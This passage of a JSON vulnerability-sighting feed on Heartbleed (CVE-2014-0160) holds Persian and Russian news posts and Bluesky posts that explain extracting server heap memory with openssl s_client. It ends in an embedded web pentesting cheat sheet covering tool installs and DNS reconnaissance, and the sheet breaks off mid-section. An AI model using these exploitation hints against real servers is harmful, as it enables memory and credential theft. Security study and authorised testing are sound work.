\u0645\u0627\u06a9\u0631\u0648\u0647\u0627\u06cc \u0648\u0631\u062f \u062f\u0648\u0628\u0627\u0631\u0647 \u0628\u0647 \u0635\u062d\u0646\u0647\u200c\u06cc \u062a\u0647\u062f\u06cc\u062f\u0627\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0628\u0631\u06af\u0634\u062a\u0647 \u0648 \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u0646\u06cc\u0645 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0631\u0627 \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u0622\u0644\u0648\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f1\u06f0\u06f6 \u0646\u06cc\u0632 \u0634\u0627\u0647\u062f \u067e\u0648\u06cc\u0634\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u06cc \u0628\u0648\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u0645\u0627\u06a9\u0631\u0648\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0622\u0641\u06cc\u0633 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0631\u062f\u0646\u062f.", "creation_timestamp": "2026-08-05T19:00:05.754889Z"}, {"uuid": "d566c6d7-94b0-4c3f-bafe-915f6e1659d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/KaitNews/2783", "content": "\u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0647\u0645\u0686\u0646\u0627\u0646 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0647\u0633\u062a\u0646\u062f \n\n\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\n\n\u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u062f\u0648 \u0633\u0627\u0644 \u0648 \u0646\u0647 \u0645\u0627\u0647 \u0627\u0632 \u0627\u0641\u0634\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u06af\u0630\u0634\u062a\u0647 \u0648 \u0647\u0646\u0648\u0632 \u0647\u0645 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 \u062f\u0627\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0647\u0633\u062a\u0646\u062f. \n\n\u062a\u0644\u0627\u0634\u200e\u0647\u0627 \u0628\u0631\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f4 \u062a\u0627\u06a9\u0646\u0648\u0646 \u06a9\u0627\u0647\u0634 \u06cc\u0627\u0641\u062a\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f4-\u06f0\u06f1\u06f6\u06f0 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc OpenSSL \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u0633\u0631\u0642\u062a \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627\u060c \u06a9\u0648\u06a9\u06cc\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062e\u0635\u0648\u0635\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0633\u0627\u06cc\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627 \u0645\u06cc\u200c\u062f\u0647\u062f. \n\n\u067e\u0648\u06cc\u0634\u200c\u0647\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 Shodan \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0646\u0645\u0648\u0646\u0647\u200c\u06cc OpenSSL \u0648\u0635\u0644\u0647 \u0646\u0634\u062f\u0647 \u0648 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0647\u0633\u062a\u0646\u062f. \u0627\u06cc\u0646 \u067e\u0648\u06cc\u0634 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06f4\u06f2\u06f0\u06f3\u06f2 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0622\u0645\u0631\u06cc\u06a9\u0627\u060c \u06f1\u06f5\u06f3\u06f8\u06f0 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u06a9\u0631\u0647\u060c \u06f1\u06f4\u06f1\u06f1\u06f6 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0686\u06cc\u0646 \u0648 \u06f1\u06f4\u06f0\u06f7\u06f2 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0622\u0644\u0645\u0627\u0646 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f.\n\n\u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u06f7\u06f5 \u0647\u0632\u0627\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0632 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0645\u0646\u0642\u0636\u06cc\u200c\u0634\u062f\u0647\u200c\u06cc SSL \u0648 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u06f3.x \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u06cc\u06a9 \u0633\u0627\u0644 \u0642\u0628\u0644 \u06f1\u06f0 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0633\u0631\u0648\u06cc\u0633 OpenSSL VPN \u0647\u0646\u0648\u0632 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0628\u0648\u062f\u0646\u062f. \n\n\u0645\u0627\u062c\u0631\u0627\u06cc \u0648\u0635\u0644\u0647 \u0646\u06a9\u0631\u062f\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0622\u0646 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0641\u06a9\u0631 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0628\u062f\u062a\u0631 \u0627\u0633\u062a. \u0627\u0632 \u062a\u06cc\u0631 \u0645\u0627\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u06a9\u0647 \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f1\u06f2 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0647\u06cc\u0686 \u062a\u0648\u062c\u0647\u06cc \u0628\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0646\u062f\u0627\u0631\u0646\u062f\u060c \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062d\u062a\u06cc \u062f\u0632\u062f\u0627\u0646 \u062f\u0631\u06cc\u0627\u06cc\u06cc \u0647\u0645 \u0622\u0646 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \n\n\u0631\u062f\u0645\u0648\u0646\u062f \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f5 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06a9\u0647 \u0645\u0627\u06a9\u0631\u0648\u0647\u0627\u06cc \u0648\u0631\u062f \u062f\u0648\u0628\u0627\u0631\u0647 \u0628\u0647 \u0635\u062d\u0646\u0647\u200c\u06cc \u062a\u0647\u062f\u06cc\u062f\u0627\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0628\u0631\u06af\u0634\u062a\u0647 \u0648 \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u0646\u06cc\u0645 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0631\u0627 \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u0622\u0644\u0648\u062f\u0647 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f1\u06f0\u06f6 \u0646\u06cc\u0632 \u0634\u0627\u0647\u062f \u067e\u0648\u06cc\u0634\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u06cc \u0628\u0648\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u0645\u0627\u06a9\u0631\u0648\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0622\u0641\u06cc\u0633 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0631\u062f\u0646\u062f.", "creation_timestamp": "2026-08-06T00:00:25.728897Z"}, {"uuid": "462781ef-b59e-40b8-9ae4-cf91cae7922e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/AstraLinuxSE/340", "content": "\u041f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0432 Linux:\n\n\u0412\u043e\u0437\u044c\u043c\u0435\u043c \u043f\u0430\u043a\u0435\u0442 curl \u2014 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443.\n\u041e\u043d \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 OpenSSL (\u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 HTTPS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439\ncurl (\u043a\u043b\u0438\u0435\u043d\u0442 \u0434\u043b\u044f URL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432)\n\u2192 \u0417\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libcurl4 (\u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430)\n\u2192 libcurl4 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 openssl (\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435)\n\u2192 openssl \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libssl3 (\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f TLS/SSL)\n\u2192 libssl3 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libc6 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 C).\n\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438?\n\u0415\u0441\u043b\u0438 \u0432 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b, \u0437\u0430\u0432\u0438\u0441\u044f\u0449\u0438\u0435 \u043e\u0442 \u043d\u0435\u0433\u043e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f curl, wget, \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0438 \u0434\u0430\u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438 \u0432\u0440\u043e\u0434\u0435 apt.\n\n\u041f\u0440\u0438\u043c\u0435\u0440: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Heartbleed (CVE-2014-0160) \u0432 OpenSSL \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0441\u0438\u0441\u0442\u0435\u043c.", "creation_timestamp": "2026-08-06T00:00:38.325216Z"}, {"uuid": "fa0c8bb2-4e00-4fff-a537-8bd900356283", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5cdc8ebf-e6d8-4263-98d4-5b9e052e2bb3", "content": "", "creation_timestamp": "2026-06-19T12:47:16.736639Z"}, {"uuid": "c3303b39-3bfd-4500-9b67-3e5e269b496d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://bsky.app/profile/golangoss.bsky.social/post/3mophentvec2x", "content": "Heartbleed (\u2b50\ufe0f 2390)\n\nA checker (site and tool) for CVE-2014-0160\n\n#go", "creation_timestamp": "2026-06-20T08:38:27.588243Z"}, {"uuid": "d3f09616-5fb5-45e1-b99c-1f1d2916e518", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a3107eb6-e8e2-4034-b68a-be6e9944224e", "content": "", "creation_timestamp": "2026-06-23T14:05:21.285152Z"}, {"uuid": "639cb6fa-588f-4b2a-a575-9d20b6aa6e12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpazo2rxp42j", "content": "Exploit Heartbleed (CVE-2014-0160) with OpenSSL s_client: send a malformed heartbeat request with oversized payload length to extract up to 64KB of heap memory. Use -no_ssl3 -no_tls1 for TLS 1.0/1.1, -msg\n\nhttps://www.valtersit.com/vault/heartbleed-memory-extraction-via-openssl-sclient-80ed4a/", "creation_timestamp": "2026-06-27T08:21:06.056400Z"}, {"uuid": "1ca103c1-e4fe-4ea1-94ba-1f29682c0574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpeblzdedk2m", "content": "CVE-2014-0160 Heartbleed exploit using OpenSSL s_client with -tlsextdebug flag to extract up to 64KB of server heap memory per heartbeat request. Tested on Ubuntu 22.04, Debian 12, Kali Linux.\n\nhttps://www.valtersit.com/vault/cve20140160-heartbleed-memory-dump-extraction-via-openssl-ffe2d0/", "creation_timestamp": "2026-06-28T15:21:06.240713Z"}, {"uuid": "69b9b5b7-23b3-4359-8759-edd64354592a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://gist.github.com/SixthHunter/03cef581e03578d6e37a331dc3a3abad", "content": "# Web Penetration Testing Cheat Sheet\n\n## Complete Guide to Ethical Hacking & Web Application Security Testing\n\n---\n\n## \ud83d\udccb Table of Contents\n- [Introduction](#introduction)\n- [Legal & Ethical Considerations](#legal--ethical-considerations)\n- [Penetration Testing Methodology](#penetration-testing-methodology)\n- [Initial Setup & Installation](#initial-setup--installation)\n- [Reconnaissance (Information Gathering)](#reconnaissance-information-gathering)\n- [Port & Service Scanning](#port--service-scanning)\n- [Web Enumeration](#web-enumeration)\n- [Vulnerability Assessment](#vulnerability-assessment)\n- [SQL Injection (SQLi)](#sql-injection-sqli)\n- [Cross-Site Scripting (XSS)](#cross-site-scripting-xss)\n- [Authentication Attacks](#authentication-attacks)\n- [File Inclusion Vulnerabilities](#file-inclusion-vulnerabilities)\n- [Server-Side Request Forgery (SSRF)](#server-side-request-forgery-ssrf)\n- [Command Injection](#command-injection)\n- [API Testing](#api-testing)\n- [SSL/TLS Security](#ssltls-security)\n- [Post-Exploitation](#post-exploitation)\n- [Reporting](#reporting)\n- [Tools Reference](#tools-reference)\n- [Practice Labs & Resources](#practice-labs--resources)\n- [Sample Scripts](#sample-scripts)\n\n---\n\n## Introduction\n\nWeb penetration testing is the practice of simulating cyberattacks against web applications to identify security vulnerabilities before malicious actors can exploit them. This comprehensive guide covers everything from initial reconnaissance to post-exploitation and reporting.\n\nWhether you're preparing for certifications like OSCP, CEH, or GWAPT, or you're a security professional looking to expand your skills, this cheat sheet provides practical commands, techniques, and real-world examples.\n\n---\n\n## Legal & Ethical Considerations\n\n### \u26a0\ufe0f IMPORTANT LEGAL WARNING\n\n**Penetration testing without explicit written permission is ILLEGAL** in most jurisdictions:\n- **USA**: Computer Fraud and Abuse Act (CFAA)\n- **UK**: Computer Misuse Act 1990\n- **EU**: General Data Protection Regulation (GDPR) and local cybercrime laws\n- **Australia**: Cybercrime Act 2001\n\n### Requirements Before Testing:\n1. **Signed Authorization Letter** - Must specify:\n   - Target scope (IP ranges, domains, applications)\n   - Testing dates and times\n   - Allowed testing methods\n   - Emergency contact information\n   - Legal jurisdiction and liability clauses\n\n2. **Rules of Engagement Document** covering:\n   - What constitutes out-of-scope activity\n   - Data handling procedures\n   - Notification thresholds for critical findings\n   - Third-party considerations\n\n3. **Insurance & Professional Indemnity** (for professional testers)\n\n### Certifications & Training:\n- **OSCP** (Offensive Security) - Hands-on penetration testing\n- **OSWP** (Offensive Security Wireless Professional)\n- **OSWE** (Offensive Security Web Expert)\n- **CEH** (EC-Council) - Certified Ethical Hacker\n- **eWPT/X** (eLearnSecurity) - Web penetration tester\n- **PNPT** (TCM Security) - Practical Network Penetration Tester\n- **BSCP** (PortSwigger) - Burp Suite Certified Practitioner\n- **GWAPT** (GIAC) - Web Application Penetration Tester\n- **CISSP** (ISC\u00b2) - Security management (requires experience)\n\n---\n\n## Penetration Testing Methodology\n\n### The 8 Phases of Penetration Testing\n\n\n| Phase | Name                         | Key Activities (Detailed)                                                                                                                                                                                                                                                                                                                                                                                                                 | Deliverables                              |\n| ----- | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------- |\n| **1** | **Planning**                 | \u2022 Define scope (IPs, domains, applications, APIs)\u2022 Identify in-scope / out-of-scope assets\u2022 Establish Rules of Engagement (RoE)\u2022 Obtain legal authorization & NDA\u2022 Determine testing methodology (e.g., OWASP Testing Guide, PTES)\u2022 Identify stakeholders & communication channels\u2022 Set testing timeline and escalation procedures\u2022 Define success criteria & reporting format                                | Signed contract, scope document           |\n| **2** | **Reconnaissance**           | \u2022 Passive OSINT (WHOIS, social media, breach databases)\u2022 Identify employee emails & technology stack\u2022 DNS enumeration & zone transfer attempts\u2022 Subdomain discovery (bruteforce + certificate transparency logs)\u2022 Search engine reconnaissance (Google dorking)\u2022 Metadata extraction from public documents\u2022 Identify third-party integrations & cloud services\u2022 Gather leaked credentials from public sources | Target profile, attack surface map        |\n| **3** | **Scanning**                 | \u2022 Network discovery (live host identification)\u2022 TCP/UDP port scanning\u2022 Service version detection & banner grabbing\u2022 OS fingerprinting\u2022 SSL/TLS configuration analysis\u2022 Firewall/WAF detection\u2022 Vulnerability scanning using automated tools\u2022 Identify misconfigurations (open S3 buckets, exposed databases)                                                                                                  | Network map, open ports, services         |\n| **4** | **Enumeration**              | \u2022 Directory and file brute-forcing\u2022 API endpoint discovery\u2022 Parameter fuzzing & input testing\u2022 User account enumeration (login, password reset)\u2022 SMB/LDAP enumeration\u2022 Database fingerprinting\u2022 Identify hidden functionality in JavaScript files\u2022 Review robots.txt & sitemap.xml                                                                                                                            | Content inventory, potential entry points |\n| **5** | **Vulnerability Assessment** | \u2022 Automated vulnerability scanning\u2022 Manual verification of findings\u2022 CVE & exploit database research\u2022 Misconfiguration analysis\u2022 Authentication & authorization testing\u2022 Business logic testing\u2022 Rate limiting & brute-force testing\u2022 Map vulnerabilities to CVSS scoring\u2022 Prioritize risks (Critical, High, Medium, Low)                                                                                 | Vulnerability list, risk ratings          |\n| **6** | **Exploitation**             | \u2022 Develop proof-of-concept (PoC) exploits\u2022 Exploit web vulnerabilities (SQLi, XSS, RCE, SSRF)\u2022 Password attacks (brute-force, credential stuffing)\u2022 Privilege escalation (local & domain level)\u2022 Exploit known CVEs\u2022 Gain shell access (reverse shell, web shell)\u2022 Bypass WAF/IDS mechanisms\u2022 Data extraction under controlled conditions                                                                     | Exploited vulnerabilities, access gained  |\n| **7** | **Post-Exploitation**        | \u2022 Establish persistence mechanisms\u2022 Lateral movement across network\u2022 Token impersonation & pass-the-hash attacks\u2022 Dump credentials & password hashes\u2022 Sensitive data discovery (PII, financial data)\u2022 Privilege escalation to domain admin\u2022 Simulate data exfiltration\u2022 Log analysis & detection evasion techniques\u2022 Assess business impact of compromise                                                 | Compromised systems, sensitive data       |\n| **8** | **Reporting**                | \u2022 Document technical findings with evidence (screenshots, logs)\u2022 Risk severity classification & impact analysis\u2022 Business risk explanation for executives\u2022 Remediation & mitigation recommendations\u2022 Re-test verification (if required)\u2022 Executive summary (non-technical)\u2022 Technical appendix with reproduction steps\u2022 Final presentation to stakeholders                                                    | Final report, presentation                |\n\n\n\n### Testing Types:\n- **Black Box**: No prior knowledge of the system\n- **White Box**: Full access to source code, architecture, credentials\n- **Grey Box**: Partial knowledge (e.g., authenticated access)\n- **Blind Testing**: Tester knows target, target doesn't know tester\n- **Double-Blind**: Neither side knows about the test\n- **Red Team**: Full-scope adversarial simulation\n- **Purple Team**: Collaborative testing with defensive teams\n\n---\n\n## Initial Setup & Installation\n\n### Installing Kali Linux\n\n**Option 1: Virtual Machine (Recommended)**\n```bash\n# Download Kali Linux VM from official site\n# Import into VirtualBox/VMware\n# Default credentials: kali:kali\n```\n\n**Option 2: Bare Metal**\n```bash\n# Download ISO from kali.org\n# Create bootable USB: dd if=kali.iso of=/dev/sdb bs=4M status=progress\n# Boot and install\n```\n\n**Option 3: Docker**\n```bash\ndocker pull kalilinux/kali-rolling\ndocker run -it kalilinux/kali-rolling /bin/bash\n```\n\n**Option 4: Windows Subsystem for Linux (WSL2)**\n```bash\n# Install WSL2, then:\nwsl --install -d kali-linux\n```\n\n### Essential Tools Installation\n\n```bash\n# Update package lists\nsudo apt update && sudo apt upgrade -y\n\n# Core scanning tools\nsudo apt install -y nmap nikto gobuster dirb wfuzz\n\n# Web application tools\nsudo apt install -y sqlmap burpsuite zaproxy\n\n# Brute force tools\nsudo apt install -y hydra medusa john hashcat\n\n# Enumeration tools\nsudo apt install -y ffuf wfuzz whatweb wafw00f\n\n# Reconnaissance tools\nsudo apt install -y sublist3r amass theharvester dnsrecon\n\n# Exploitation framework\nsudo apt install -y metasploit-framework\n\n# Networking tools\nsudo apt install -y netcat-openbsd socat wireshark tcpdump\n\n# Post-exploitation\nsudo apt install -y impacket-scripts pwncat\n\n# Wordlists\nsudo apt install -y seclists wordlists\n```\n\n### Python Tools Installation\n```bash\n# Install pip if not present\nsudo apt install -y python3-pip\n\n# Python-based tools\npip3 install theHarvester dalfox xsstrike\npip3 install impacket pwncat-cs\npip3 install dnspython requests beautifulsoup4\npip3 install shodan censys\npip3 install argon2 python-nmap\n```\n\n### Directory Structure Setup\n```bash\n# Create organized workspace\nmkdir -p ~/pentest/{tools,wordlists,scripts,reports,loot}\n\n# Create target-specific directories\nmkdir -p ~/pentest/$(date +%Y%m%d)_target/{recon,scans,exploit,evidence}\ncd ~/pentest/$(date +%Y%m%d)_target\n```\n\n### Environment Variables\n```bash\n# Add to ~/.bashrc for persistence\nexport TARGET=\"10.10.10.1\"\nexport DOMAIN=\"target.com\"\nexport LHOST=$(ip a | grep tun0 | awk '{print $2}' | cut -d/ -f1)\nexport WORDLIST=\"/usr/share/wordlists/rockyou.txt\"\n\n# Source the file\nsource ~/.bashrc\n```\n\n### Burp Suite Configuration\n1. **Proxy Setup**:\n   - Browser \u2192 Settings \u2192 Network \u2192 Manual proxy: `127.0.0.1:8080`\n   - Install Burp CA certificate\n   - Firefox: Preferences \u2192 Privacy & Security \u2192 Certificates \u2192 Import\n\n2. **FoxyProxy** browser extension for quick proxy switching\n\n3. **Scope Configuration**:\n   - Target tab \u2192 Scope \u2192 Add to scope\n   - Exclude out-of-scope items\n\n### /etc/hosts Configuration\n```bash\n# Add target domains for easier access\nsudo tee -a /etc/hosts << EOF\n10.10.10.1    target.htb dev.target.htb admin.target.htb\n10.10.10.2    mail.target.htb vpn.target.htb\nEOF\n```\n\n---\n\n## Reconnaissance (Information Gathering)\n\n### DNS Enumeration\n\n#### Basic DNS Queries\n```bash\n# WHOIS information\nwhois target.com\n\n# All DNS records\ndig target.com ANY +noall +answer\nnslookup -type=ANY target.com\n\n# MX records (mail servers)\ndig target.com MX +short\nnslookup -type=MX target.com\n\n# NS records (name servers)\ndig target.com NS +short\nhost -t ns target.com\n\n# TXT records (SPF, DKIM, verification)\ndig target.com TXT +short\nnslookup -type=TXT target.com\n\n# A/AAAA records\ndig target.com A +short\ndig target.com AAAA +short\n\n# CNAME records\ndig www.target.com CNAME +short\n\n# SOA record (start of authority)\ndig target.com SOA +short\n```\n\n#### Zone Transfer Attempt\n```bash\n# Attempt zone transfer from 